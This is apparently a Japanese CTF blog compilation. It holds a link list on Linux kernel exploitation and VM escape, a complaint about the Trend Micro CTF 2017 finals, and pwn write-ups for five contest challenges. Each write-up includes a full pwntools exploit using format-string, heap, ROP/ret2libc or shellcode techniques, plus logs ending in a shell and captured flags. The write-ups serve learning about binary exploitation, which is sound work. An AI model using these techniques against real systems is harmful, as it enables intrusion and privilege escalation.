Kernel ExploitとかVM Escapeについて調べた時に見つけたリンクまとめ
この記事はCTF Advent Calendar 2017の1日目です。
タイトル通りですが、本人は読んで満足する人間なので、中身は理解していないです。付け合わせで、CTFで出題された関係のありそうなやつもまとめました。
Kernel Exploit関連
Linuxでのlocal privilege escalationを目的としたもの。
pdfとかスライド
- Linux Kernelのソース linux - Elixir - Free Electrons
- Kernel Stackでのbuffer overflowについて Exploiting Stack Overflows in the Linux Kernel | Jon Oberheide
- CVE-2014-3153(Towelroot)について Exploiting the Futex Bug and uncovering Towelroot – Tinyhack.com
- GitHub - jonoberheide/ksymhunter: Routines for hunting down kernel symbols.
- GitHub - jonoberheide/kstructhunter: Routines for hunting down kernel structs.
- リンクまとめ GitHub - xairy/linux-kernel-exploitation: A bunch of links related to Linux kernel exploitation
- Androidだけどdocsにあるpdfは参考になる GitHub - Fuzion24/AndroidKernelExploitationPlayground
- すごい参考になる katagaitai CTF勉強会 #3 pwnables編 - 31C3 CTF pwn30 nokia1337, pwn50 nokia31337 / katagaitai CTF #3 // Speaker Deck
- セキュキャン2017全国の資料 カーネルエクスプロイトによるシステム権限奪取 // Speaker Deck
- K/VM探検隊の資料 $Hell on Sony Snatch the Kernel privilage from Browser // Speaker Deck
- BlueBorne http://go.armis.com/hubfs/BlueBorne%20Technical%20White%20Paper.pdf?t=1505222709963
- https://jon.oberheide.org/files/stackjacking-infiltrate11.pdf
- カーネルエクスプロイト入門 - Linuxカーネル解析の基礎 - - るくすの日記 ~ Out_Of_Range ~
- カーネルエクスプロイト入門2 - 特権モードを利用した権限昇格の仕組み - - るくすの日記 ~ Out_Of_Range ~
- 参照カウンタオーバーフローを利用したLinuxカーネルエクスプロイト(CVE-2016-0728) - るくすの日記 ~ Out_Of_Range ~
CTFの問題
JFK/Umass (Boston Key Party CTF 2015)
32bit ARM Linux。初めての人にオススメKNOTE (0CTF 2017 Quals)
x64 Linux。Heap使うらしいcred_jar (0CTF 2017 Finals)
x64 Linux。Race Conditionらしい- 問題リンク
ない - writeup
exploit for cred_jar · GitHub
- 問題リンク
SH1TTY (Insomni’hack finals 2015)
キーロガーpwnable.krの各種問題
syscall, rootkit, softmmu, towelroot, kcrc, exynosが該当。ZX2C4 Kernel Pwn Challenge
よくわからんLinux Kernel CTF
適当にググったら出てきた。
VM Escape関連
色々あるけどQEMUがメイン。
pdfとかスライド
- 雰囲気掴むには良いペーパーで、読めば流れは理解できる http://www.phrack.org/papers/vm-escape-qemu-case-study.html
- http://www.powerofcommunity.net/poc2016/wei.pdf
- https://media.blackhat.com/bh-us-11/Elhage/BH_US_11_Elhage_Virtunoid_WP.pdf
- https://cansecwest.com/slides/2016/CSW2016_Wang_DockerEscapeTechnology.pdf
- 下の資料 http://conference.hitb.org/hitbsecconf2016ams/wp-content/uploads/2015/11/D1T1-Shengping-Wang-and-Xu-Liu-Escape-From-The-Docker-KVM-QEMU-Machine.pdf
- docker escapeの発表の動画 https://www.youtube.com/watch?v=XcvRfg3_ACY
CTFの問題
qemuarm (hxp CTF 2017)
QEMU ARMっぽいが確認していないbabyqemu (HITB GSEC 2017)
QEMU Escapeのbaby問題- 問題リンク
ない - writeup
HITB GSEC 2017: babyqemu
- 問題リンク
Unchained QEMU (0CTF 2017 Finals)
x64のuseland qemuからのvmescape- 問題リンク
ない - writeup
ない
- 問題リンク
おわりに
他にもあった気がするがメモが見つからない。これいいぞとかあったら教えてください。
Trend Micro CTF 2017 - Raimund Genes Cup - The Finalの感想
hamaです。TokyoWesternsとしてTMCTF Finalに参加しました。今回はwriteupではなく感想と愚痴です。僕の感想を箇条書きにすると、
- 今年のTMCTF Finalは良くなかった
- 全体を通して、問題がCTFとして面白くない
- 本当にverifyしたのかと疑うレベルの杜撰な問題を出題しないでほしい
- TMCTFとは関係のない他所様のサービスやサーバーに依存した問題を出題しないでほしい
以上で僕の言いたいことは終わりです。なので以降は適当に流してください。
なぜそう感じたのかを理由を書いていくと、殆どの問題に無駄なところでguessing要素が多かったです。問題の本質ではないところで躓くことが多く、技術を競うコンテストであるはずのCTFでguessingが必要な問題は害悪でしかないと考えている僕にとって今年のTMCTF Finalは苦痛でした。得点状況を見ながらヒントを随時公開してくれたことは有難かったのですが、そもそもヒントがないと解けない/意図が察せないことは、問題の作りが甘い証拠です。少なくとも予選を勝ち上がったCTFチームが5時間取り組んでsolve0だったら作問ミスを疑うのは自然ではないでしょうか?(1チームが解けるかどうかの難問は話が別です) それに地味にヒント中のツールのURLがNot Foundだったりと最高でした。あらかじめヒントを考えていた旨を運営から聞きましたが、それぐらいの確認はして欲しいです。CTFをやっている人間は技術を競い合うのが好きな人間で(少なくとも僕はそうです)、想像力を働かせて手当たり次第に試すようなコンテストはやりたくありません。やりたい問題は自然な思考に則った技術的な問題です。この辺りが本当にverifyしたのかと疑いたくなる理由です。作問者の想定解通りにやればフラグが得られる程度の確認は不十分です。何も情報がない状態(参加者と同じ状態)からフラグが取れるかどうかまでをテストするのは当たり前です。(これが実際はすごく大変な作業であることは自分たちのCTFを開催しているので理解しています。しかし開催する以上やるべきでしょう)
それにCTFとは全く関係ない外部のwebサービスを使う必要はあったのでしょうか? 静的なhtmlとphpファイルが1つしかないブログで、他所様のブログサービスを使う必要はないはずです。 その程度だったらローカルでwebサーバー立てるか、vpsもしくはクラウドサービスを使用して運営が管理するサーバーで良いはずです。 OSINTという情報が合っているのかどうか確証が持ちにくいジャンルでパスワードを当てる問題だと辞書攻撃をするのは当然の流れで、TMCTFとは関係ないサーバーにブルートフォースすることになるのは倫理的に厳しいです。 また、他の問題で使っていた外部サービスからはBANされて、そのままでは問題が解けない状況になるのは、有り得ないです。
ここまでかなり批判してますが、僕はTMCTF Finalを楽しみにしていました。前回参加したチームメイトから「去年のコンテストはよかった」と聞いていました。信じた自分がバカなだけですが、それでも同日開催のAVTOKYOに行くよりも絶対楽しいだろうと思っていました。蓋を開けてみたら、まぁこの有様です。期待していた分、失望も大きいです。これが初めて開催する名も知られてないようなCTFなら、「クソCTF」と一言twitterに書き込んで終わりですが、Trend Micro CTFは今年で3回目です。今までのノウハウやフィードバックがあったはずです。本当に残念でした。
参加者が求めているものと、運営が用意するものに大きな隔たりを感じているので、これを埋めない限り良い評価は得られないと思います。CTFTimeのvotingのコメントでフィードバックは得られるので確認して欲しいです。 来年開催するかどうかまだ分かりません。ここまでボロクソに書いておいてあれですけど、僕個人としては「金輪際参加しない」とか見限るつもりはないので来年も楽しみにしています。来年は予選も含めて賞賛されるCTFを開催して欲しいです。
TMCTF運営が見るかもしれないので、参考になりそうなものを置いておきます。是非読んでください。強豪チームのPPPが書いたCTF開催者向けの資料です。 docs/suggestions-for-running-a-ctf.markdown at master · pwning/docs · GitHub
hack.lu CTF 2017 HeapsOfPrint writeup
はじめに
色々と試したら, saved rbpを部分的に書き換えて_start
を戻りアドレスになるようにすることで再度FSAができるようになった. あとは適当にstack上にone gadget RCEを指すアドレスを作り, mainの戻りアドレスをそこにした.
exploitではheapのアドレスをリークしてるが, 結局使わなかった. 最初はheap上にstack pivotを狙っていたが途中で方針を変更した名残である.
exploit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "flatearth.fluxfingers.net" RPORT = 1747 LHOST = "127.0.0.1" LPORT = 1747 # libc = ELF('./libc.so.6') elf = ELF('./HeapsOfPrint') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *do_that+46 c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./HeapsOfPrint'], gdbscript=execute) else: conn = process(['./HeapsOfPrint']) # conn = process(['./HeapsOfPrint'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation log.info('Pwning') conn.recvuntil('My favourite character is ') offset = ord(conn.recv(1)) + 1 payload = '%' + ('%dc'%(offset+0x58)) + '%6$hhn' payload += 'xxxx%17$p' payload += 'yyyy%14$p' payload += 'zzzz%16$p' conn.sendlineafter('I hope yours as well! Is it?', payload) conn.recvuntil('xxxx') libc_base = int(conn.recv(14),16) - 0x20830 conn.recvuntil('yyyy') stack_addr = int(conn.recv(14),16) conn.recvuntil('zzzz') bin_base = int(conn.recv(14),16) - 0x990 log.info('libc_base = 0x%x', libc_base) log.info('stack_addr = 0x%x', stack_addr) log.info('bin_base = 0x%x', bin_base) ret_offset = 0x6f6 ret = bin_base + ret_offset offset = 0xb0 offset = stack_addr - offset offset = offset & 0xffff log.info('offset = 0x%x', offset) # payload = '%' + ('%dc' % (offset - 8*4) ) + '%6$hn' + p64(ret)*0x4 + 'a'*8 payload = '%' + ('%dc' % (offset) ) + '%6$hn' payload += 'xxxx%14$s' conn.sendlineafter('I hope yours as well! Is it?', payload) conn.recvuntil('xxxx') heap_base = u64(conn.recv(6)+'\x00'*2) - 0x410 log.info('heap_base = 0x%x', heap_base) start_addr = bin_base + 0x906 start_offset = start_addr & 0xffff stack_offset = 0xffff & (stack_addr -0x58 + 0x1a0 - 0x228) ret_offset = 0xffff & (stack_addr - 0x158 + 0x18) one_gadget = libc_base + 0xf1117 log.info('one_gadget = 0x%x', one_gadget) payload = '%' + ('%dc'%( stack_offset )) + '%51$hn' payload += '%' + ('%dc'%( ret_offset - stack_offset + 0x10000)) + '%6$hn' conn.sendlineafter('I hope yours as well! Is it?', payload) ret_offset = 0xffff & (stack_addr - 0x1d0 + 0x70) ga_offset = 0xffff & one_gadget payload = '%' + ('%dc'%( ga_offset )) + '%83$hn' payload += '%' + ('%dc'%( ret_offset - ga_offset + 0x10000)) + '%6$hn' conn.sendlineafter('I hope yours as well! Is it?', payload) stack_offset = 0xffff & (stack_addr -0x56 + 0x1a0 - 0x228) ret_offset = 0xffff & (stack_addr - 0x1f0) payload = '%' + ('%dc'%( stack_offset )) + '%73$hn' payload += '%' + ('%dc'%( ret_offset - stack_offset + 0x10000)) + '%6$hn' conn.sendlineafter('I hope yours as well! Is it?', payload) print "last" ga_offset = (one_gadget & 0xffff0000) >> 16 stack_offset = 0xffff & (stack_addr - 0x280 + 0x198) payload = '%' + ('%dc'%( ga_offset )) + '%105$hn' payload += '%' + ('%dc'%( stack_offset - ga_offset + 0x10000)) + '%6$hn' conn.sendlineafter('I hope yours as well! Is it?', payload) conn.interactive()
root@ubuntu:~/ctf/hack.lu2017/HeapsOfPrint# python exploit.py r [*] '/root/ctf/hack.lu2017/HeapsOfPrint/HeapsOfPrint' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to flatearth.fluxfingers.net on port 1747: Done [*] Pwning [*] libc_base = 0x7faee5e76000 [*] stack_addr = 0x7ffc3b2138f8 [*] bin_base = 0x55ea89222000 [*] offset = 0x3848 [*] heap_base = 0x55ea8a799000 [*] one_gadget = 0x7faee5f67117 last [*] Switching to interactive mode \x90$ ls flag HeapsOfPrint setup.sh $ cat flag FLAG{dr4w1ng_st4ckfr4m3s_f0r_fun_4nd_pr0f1t}
SECCON Beginners NEXT 2017 東京 next_note writeup
はじめに
初心者で問題が解けないので、これで成長できたらいいなぁと思い参加した。
pwnableの方の講義で使われたnext_note
という問題のwriteupとなっている。
動作
よくある感じのノート管理。
脆弱性
double free
できる。
方針
double free
-> fastbin dup
-> fastbin attack
-> stdoutのvtableを書き換え
で制御を取れる。あとは適当にone-gadget-rce使った。
exploit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "172.20.2.2" RPORT = 4296 LHOST = "127.0.0.1" LPORT = 8080 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./next_note') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./next_note'], execute=execute) else: conn = process(['./next_note']) # conn = process(['./next_note'], env={'LD_PRELOAD': ''}) # preparing for exploitation def add_note(size, payload): conn.sendlineafter('>> ', '1') conn.sendlineafter('length...', str(size)) conn.sendlineafter('note', payload) time.sleep(0.1) def show_note(): conn.sendlineafter('>> ', '2') def delete_note(idx): conn.sendlineafter('>> ', '3') conn.sendlineafter('Input id to remove...', str(idx)) log.info('Pwning') add_note(0xf8, 'hoge') add_note(0xf8, 'hoge') delete_note(0) show_note() conn.recvuntil('00 : ') libc_base = u64(conn.recv(6)+'\x00\x00') - 0x3c4b78 log.info('libc_base = 0x%x', libc_base) add_note(0x68, 'xxxx') add_note(0x68, 'yyyy') delete_note(2) delete_note(3) delete_note(2) show_note() conn.recvuntil('00 : ') heap_base = u64(conn.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x70 log.info('heap_base = 0x%x', heap_base) payload = p64(libc_base + 0x3c56bd) add_note(0x68, payload) payload = 'z' * 8 * 3 payload += p64(libc_base + 0x4526a) payload += 'z' * 8 * 3 payload += p64(libc_base + 0x791e0) add_note(0x68, payload) add_note(0x68, 'zzzz') payload = '\x00'*3 + p64(0x0) * 5 + p64(heap_base + 0x80) add_note(0x68, payload) conn.interactive()
% python exploit.py r [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/hama/ctf/next/next_note' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE [+] Opening connection to 172.20.2.2 on port 4296: Done [*] Pwning [*] libc_base = 0x7fdecdd13000 [*] heap_base = 0x979000 [*] Switching to interactive mode ...$ ls flag next_note $ cat flag ctf4b{heap_exploit_techniques_are_awesome}
ksnctf C92 md5 writeup
はじめに
ksnctf C92のwriteup公開が解禁されたようなので、唯一のpwn問題だったmd5のwriteupをあげる。 ksnctf C92の各問題は下記リンクより参照できる。
初期調査
chceksecの結果を以下に載せる。SSPがないため、stackでのBOFが狙えそうである。また、Full RELROでないため、GOTの書き換えも有効である。 libcが公開されているため、address leakからのret2libcも狙える。
[*] '/home/hama/ctf/ksnctf/md5/md5' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE
機能
ローカルで動かす際にはflag.txt
が必要となる。
はじめにデータの長さを入力し、次に指定した長さ分のデータを入力できる。
入力データに対してmd5を求めて出力している。
exit
を入力すると処理を終了する。
% ./md5 Wait... Input data length: 10 Input data: aaaabbbbcc MD5(your data): 11a7cd2ff48c01afcc65cca69ed0f886 MD5(flag): d0ac268c6f2253bda954982ef99c1295 Input data length: 4 Input data: exit MD5(your data): f24f62eeb789199b9b2e467df3b1876b
方針
入力できるデータの長さを指定できるが、長さに制限はない。そのため用意されているバッファよりも大きい値を指定すればBOFが起きる。
main関数の戻りアドレスをBOFで上書きし、ROPでputs(libc_start_main_got)
を実行する。得られた値からlibcがマッピングされているlibc_base
が求まる。
ここまででは、address leakができただけなので、再度の攻撃を行えるように再びmain関数を実行させるようにする。
2度目の攻撃では求めたlibc_base
を用いて、__libc_system
とlibc内に存在する'/bin/sh'
を用いてret2libcを行った。
exploit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "ksnctfc92.u1tramarine.blue" RPORT = 55555 LHOST = "127.0.0.1" LPORT = 55555 elf = ELF('./md5') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': libc = ELF('./libc.so.6') conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./md5'], execute=execute) else: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') conn = process(['./md5']) # conn = process(['./md5'], env={'LD_PRELOAD': './libc.so.6'}) def calc_MD5(length, payload): conn.sendlineafter('Input data length:', str(length)) conn.sendlineafter('Input data:', payload) # preparing for exploitation libc_start_main_got = elf.got['__libc_start_main'] puts_addr = elf.symbols['puts'] main_addr = elf.symbols['main'] # 0x00400f13: pop rdi ; ret ; (1 found) pop_rdi = 0x00400f13 log.info('Pwning') payload = 'A' * (0x30+0x20) + p64(0x602098) + "A" * 0x20 rop = p64(pop_rdi) rop += p64(libc_start_main_got) rop += p64(puts_addr) rop += p64(main_addr) payload += rop calc_MD5(len(payload), payload) calc_MD5(4, 'exit') # leak libc_base conn.recvuntil('f24f62eeb789199b9b2e467df3b1876b\n') libc_base = u64(conn.recv(6).ljust(8, '\x00') ) - libc.symbols['__libc_start_main'] log.info('libc_base = {:#x}'.format(libc_base)) payload = 'A' * (0x30+0x20) + p64(0x602099) + "A" * 0x20 rop = p64(pop_rdi) rop += p64(libc_base + next(libc.search('/bin/sh'))) rop += p64(libc_base + libc.symbols['system']) # rop += p64(main_addr) payload += rop calc_MD5(len(payload), payload) calc_MD5(4, 'exit') conn.interactive()
% python exploit.py r [*] '/home/hama/ctf/ksnctf/md5/md5' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [*] '/home/hama/ctf/ksnctf/md5/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to ksnctfc92.u1tramarine.blue on port 55555: Done [*] Pwning [*] libc_base = 0x7fc9e6de7000 [*] Switching to interactive mode MD5(your data): f24f62eeb789199b9b2e467df3b1876b $ ls flag.txt flag2.txt md5 md5.sh $ cat flag* FLAG{EukFcauPdlPYh0bK} FLAG{OpBW3mIwSllxumQZ}
おわりに
シェルを取ればフラグが2つ得られるお得な問題だった。 しかし、2つ目のフラグをsubmitするためには裏にいく必要があり、到達できなかったためフラグを腐らせてしまった。
SECUINSIDE CTF 2017 childheap writeup
はじめに
コンテスト期間中に解くことができなかったが良いところまでいって放置していた。最近解いたので、そのwriteupを載せる。
checksec etc
普通のバイナリなので特に言うことはない。
% file ./childheap ./childheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2464f8e250b3eeb77e11b8748417024fb1bfd49f, stripped % checksec ./childheap [*] '/home/hama/ctf/SECUINSIDE2017/childheap/childheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE
機能
実行すると3つの機能を選択できそうであるが、実際には4つ目の機能がある。機能についてまとめると以下のとおりである。
Allocate
heapから指定したサイズ分を割りあてる。サイズには制約があり、0x1ff < size < 0x1000でなければならない。制約を満たすサイズであれば、malloc(size)が実行され取得されたメモリにサイズ分だけ書き込みが行える。malloc()で取得したメモリのポインタはたぶんスタック上でローカル変数として管理されている(この部分はバイナリを読んでいないので分からない)。2.Free
を実行すれば再度の割り当てができる。Free
Allocateで確保したメモリをfree()する。double freeが可能。Modify
一度でもAllocateを実行すれば指定可能になる。heao上で管理されるAgeやNameを再編集できる。この管理領域を指すポインタはbssに存在している。Secret
201527を入力すると実行できる機能。適当な数値をbssに保存することが可能。
% ./childheap -----ChildHeap 2017 in Secuinside--- 1. Allocate 2. Free 3. Modify
方針
このバイナリの特徴は、stdoutに関してはbufferingが切られているがstdinに関しては有効となっている点である。詳しいことは知らないが、ubuntu16.04(正確にはglibcに依存すると思うが)から、入出力のbufferはheapから確保される。
入力のbufferのために確保されるチャンクとAllocate
で確保できるチャンクと、double freeを上手く使ってunsortedbin attackを行う。書き込む先はModify
機能によって編集する先を指すポインタである。unsortedbin attackによってmain_aren内のunsortedbin周りを任意に編集できるようになる。
0x7f1ae77a7b80 <main_arena+96>: 0x7878787878787878 0x7878787878787878 0x7f1ae77a7b90 <main_arena+112>: 0x0078787878787878 0x00007f1ae77a7b88
Secret
によって書き込む数値をチャンクのサイズとみなすように、unsortedbinのfd/bkを編集すれば、malloc()で返すポインタをbss上に強制することができる。あとはModify
によって適当にGOTを書き換えてlibc_baseをリークしsystme(“/bin/sh”)を呼ぶ。
exploit.py
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "13.124.131.103" RPORT = 31337 LHOST = "127.0.0.1" LPORT = 31337 # libc = ELF('./libc.so.6') elf = ELF('./childheap') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./childheap'], execute=execute) else: conn = process(['./childheap']) # conn = process(['./childheap'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation def Allocate(size, payload): conn.sendlineafter('> ', '1') conn.sendlineafter('Input size:', str(size)) conn.sendlineafter('Input data:', payload) def Free(): conn.sendlineafter('> ', '2') def Modify(payload, Flag): conn.sendlineafter('> ', '3') conn.sendlineafter('Do you want to change age (y/n)?', 'n') conn.sendlineafter('Input new name: ', payload) if Flag: conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'y') else: conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'n') def Secret(code): conn.sendlineafter('> ', '201527') conn.sendlineafter('Input secret code:', str(code)) person_addr = 0x6020c0 read_got = 0x602038 printf_addr = 0x400750 log.info('Pwning') Allocate(0xfff, 'hoge') Free() Modify('a'*0x8+'b'*8, True) Free() payload = 'x' * 8 + p64(person_addr - 0x10) Modify(payload, True) Allocate(0xfff, 'hoge') payload = p64(0) + p64(0x6020b0 - 8) * 2 # fd and bk are 0x6020b0-8 Modify(payload, True) Secret(0x211) Free() payload = "A" * 8 payload += p64(0x602070-0x8-0x2) Allocate(0x200, payload) payload = p64(printf_addr) Modify(payload, True) conn.sendline('XXXX%3$p') conn.recvuntil('XXXX') libc_base = int(conn.recv(14), 16) - 0xf7230 log.info('libc_base = {:#x}'.format(libc_base)) payload = "AA" + p64(libc_base + 0x45390) conn.recvuntil('3. Modify') conn.sendline('12') conn.sendlineafter('Do you want to change age (y/n)?', 'n') conn.sendlineafter('Input new name: ', payload) conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'y') # Modify(payload, True) conn.sendline('/bin/sh\x00') conn.interactive()
Google CTF 2017 Inst Prof writeup
はじめに
shellcode問、やるだけ。
方針
下記のshellcodeを用いて、ROPを組んだ。それぞれ4byteになっている。
shellcode実行中のstackの先頭にはリターンアドレスがあるので、pop, push
でstackを壊さずにレジスタにテキスト領域のアドレスを格納することができる。r15
は特にバイナリ中で使用してなさそうだったので選んだ。
inc
とdec
で所望のROPガジェットとなるように、オフセットを計算している。0x1000回のinc
またはdec
を避けるために、ret
ですぐにリターンさせている。stack上への値の格納は、格納先をrbp
からのオフセットで指定できるmov
を使用した。rbx
はshellcodeの実行領域を指しているので、ROP中で用いている。1度のshellcodeを4byteに収めるために、下記の中でのoffsetとvalueは1byteに制限されている。
pop r15, push r15 inc r15, ret dec r15, ret mov BYTE PTR [rbp + offst], value mov [rbp+offset], r15 mov [rbp+offset], rbx
exploit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "inst-prof.ctfcompetition.com" RPORT = 1337 LHOST = "127.0.0.1" LPORT = 1337 # libc = ELF('') elf = ELF('./inst_prof') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./inst_prof'], execute=execute) else: conn = process(['./inst_prof']) # conn = process(['./inst_prof'], env={'LD_PRELOAD': ''}) # preparing for exploitation def pop_push_r15(): return asm('pop r15\n push r15') def inc_r15(): return asm('inc r15\n ret') def dec_r15(): return asm('dec r15\n ret') def byte_move(offset, value): return asm('mov BYTE PTR [rbp+%d], %d' % (offset, value)) def byte_add(offset, value): return asm('add BYTE PTR [rbp+%d], %d' % (offset, value)) def reg_move(offset): return asm('mov [rbp+%d], r15' % offset) log.info('Pwning') conn.recvuntil('ready') payload = '' # alloc_page payload += pop_push_r15() payload += dec_r15() * 0x128 payload += reg_move(0x10) # pop_rsi_r15 rsi= 0x80, r15=? payload += pop_push_r15() payload += inc_r15() * 0xa9 payload += reg_move(0x18) payload += byte_move(0x20 + 0, 0x80) payload += byte_move(0x20 + 1, 0x00) # pop rdi; ret payload += pop_push_r15() payload += inc_r15() * 0xab payload += reg_move(0x30) payload += asm('mov [rbp+0x38], rbx') # read_n(size) payload += pop_push_r15() payload += dec_r15() * 0x98 payload += reg_move(0x40) # pop rdi ; ret payload += pop_push_r15() payload += inc_r15() * 0xab payload += reg_move(0x48) payload += asm('mov [rbp+0x50], rbx') # make_page_executable(addr) payload += pop_push_r15() payload += dec_r15() * 0xf8 payload += reg_move(0x58) payload += asm('mov [rbp+0x60], rbx') # trigger ROP payload += pop_push_r15() payload += inc_r15() * 0x39 payload += reg_move(0x8) # execve('/bin/sh') shellcode = '\x90' * 0x10 shellcode += asm(shellcraft.sh()) shellcode = shellcode.ljust(0x80, '\x90') payload += shellcode + '\n' conn.send(payload) conn.interactive()
結果
python exploit.py r [*] '/home/hama/ctf/GoogleCTF2017/InstProf/inst_prof' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to inst-prof.ctfcompetition.com on port 1337: Done [*] Pwning [*] Switching to interactive mode (長いので省略) $ cat flag.txt CTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}
おわりに
見返してみるとゴリ押しが酷い